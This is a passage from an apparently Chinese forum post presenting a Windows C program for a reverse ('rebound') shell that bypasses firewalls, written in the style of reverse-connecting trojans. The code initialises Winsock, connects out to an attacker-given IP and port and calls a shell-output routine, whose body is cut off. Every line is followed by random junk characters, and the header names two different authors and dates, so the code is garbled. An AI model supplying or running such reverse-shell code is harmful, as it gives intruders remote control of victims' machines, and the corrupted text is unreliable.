这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 iJD_qhd7
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/* ============================== k9iXVYQ.;r
Rebound port in Windows NT baL-~`(T
By wind,2006/7
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===============================*/ *UlL\
#include VG+WVk
#include >W[#-jA_Z
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#pragma comment(lib,"wsock32.lib") YMEI
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void OutputShell(); Z6XP ..
SOCKET sClient; ^&-H"jF
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ZFsJeF'"
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void main(int argc,char **argv) |~I-
{ A}cGag+sp
WSADATA stWsaData; {f
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int nRet; Ap[}[:U
SOCKADDR_IN stSaiClient,stSaiServer; qn4jy6
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if(argc != 3) ' y9yx[P
{ Md4JaFA(
printf("Useage:\n\rRebound DestIP DestPort\n"); '5n67Hl 1
return; (xhwl=MX)
} :5M7*s)e16
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WSAStartup(MAKEWORD(2,2),&stWsaData); `!$I6KxT
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xjDV1Xf*
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stSaiClient.sin_family = AF_INET; 1~#2AdG
stSaiClient.sin_port = htons(0); o>' 1ct
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]{<`W5b/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) yHL5gz@k
{ }7H8Y}m
printf("Bind Socket Failed!\n"); 3h|:ew[
return; bkgJz+u
} P5*~Wi`
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stSaiServer.sin_family = AF_INET; xE4iey@\}
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *4tJ|m6"Y6
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); CNiUHUD
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +s'qcC
{ iS"(
printf("Connect Error!");
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return; "7k
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}
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OutputShell(); 02~+$R]L
} ZAG iaq
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void OutputShell() krC4O2Fkj
{ ?5<